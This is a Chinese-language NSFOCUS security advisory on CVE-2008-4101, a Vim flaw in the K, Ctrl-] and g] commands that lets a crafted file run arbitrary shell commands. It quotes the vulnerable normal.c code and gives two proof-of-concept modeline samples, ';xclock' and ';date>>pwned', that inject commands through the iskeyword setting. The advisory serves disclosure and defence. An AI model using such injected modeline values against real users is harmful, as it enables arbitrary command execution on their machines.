绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Vim Shell转义命令执行漏洞

发布日期：2008-08-19
更新日期：2008-08-26

受影响系统：

VIM Development Group VIM 3.00 - 7.2

描述：

BUGTRAQ  ID: 30795
CVE(CAN) ID: CVE-2008-4101

VIM是一款免费开放源代码文本编辑器，可使用在Unix/Linux操作系统下。

Vim在执行K、<C-]>、g]等命令时没有充分地过滤某些输入，允许远程攻击者执行任意Vim脚本或shell命令。

以下是src/normal.c文件中的有漏洞代码段：

    5514        if (cmdchar == '*')
    5515        aux_ptr = (char_u *)(p_magic ? "/.*~[^$\\" : "/^$\\");
    5516        else if (cmdchar == '#')
    5517        aux_ptr = (char_u *)(p_magic ? "/?.*~[^$\\" : "/?^$\\");
    5518        else if (cmdchar == 'K' && !kp_help)
--> 5519        aux_ptr = (char_u *)" \t\\\"|!";
    5520        else
    5521        /* Don't escape spaces and Tabs in a tag with a backslash */
--> 5522        aux_ptr = (char_u *)"\\|\"";
    5523
    5524        p = buf + STRLEN(buf);
    5525        while (n-- > 0)
    5526        {
    5527        /* put a backslash before \ and some others */
    5528        if (vim_strchr(aux_ptr, *ptr) != NULL)
    5529            *p++ = '\\';
    5530    #ifdef FEAT_MBYTE
    5531        /* When current byte is a part of multibyte character, copy all bytes
    5532         * of that character. */
    5533        if (has_mbyte)
    5534        {
    5535            int i;
    5536            int len = (*mb_ptr2len)(ptr) - 1;
    5537
    5538            for (i = 0; i < len && n >= 1; ++i, --n)
    5539            *p++ = *ptr++;
    5540        }
    5541    #endif
    5542        *p++ = *ptr++;
    5543        }
    5544        *p = NUL;
    5545
    5546        /*
    5547         * Execute the command.
    5548         */
    5549        if (cmdchar == '*' || cmdchar == '#')
    5550        {
    5551        if (!g_cmd && (
    5552    #ifdef FEAT_MBYTE
    5553            has_mbyte ? vim_iswordp(mb_prevptr(ml_get_curline(), ptr)) :
    5554    #endif
    5555            vim_iswordc(ptr[-1])))
    5556            STRCAT(buf, "\\>");
    5557    #ifdef FEAT_CMDHIST
    5558        /* put pattern in search history */
    5559        add_to_history(HIST_SEARCH, buf, TRUE, NUL);
    5560    #endif
    5561        normal_search(cap, cmdchar == '*' ? '/' : '?', buf, 0);
    5562        }
    5563        else
--> 5564        do_cmdline_cmd(buf);

aux_ptr变量中包含有需要转义的字符，其中5519行为K命令参数，5522行为Control-]命令和g]命令参数。命令经过汇编后在5564行以Ex命令执行。由于没有对上述命令执行shell转义，如果用户受骗打开了恶意文件就可能导致执行任意命令。

<*来源：Ben Schmidt

  链接：http://secunia.com/advisories/31592/
        http://marc.info/?l=bugtraq&m=121942586409231&w=2#2
        https://www.redhat.com/support/errata/RHSA-2008-0618.html
        https://www.redhat.com/support/errata/RHSA-2008-0617.html
        https://www.redhat.com/support/errata/RHSA-2008-0580.html
        http://www.debian.org/security/2009/dsa-1733
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

将示例拷贝到单独的文件：

    ;xclock
    vim: set iskeyword=;,@

将光标停留在xclock上并按K键，会出现xclock。

    ;date>>pwned
    vim: set iskeyword=1-255

将光标停留在date上并按K键，会在当前工作目录创建pwned文件。

建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客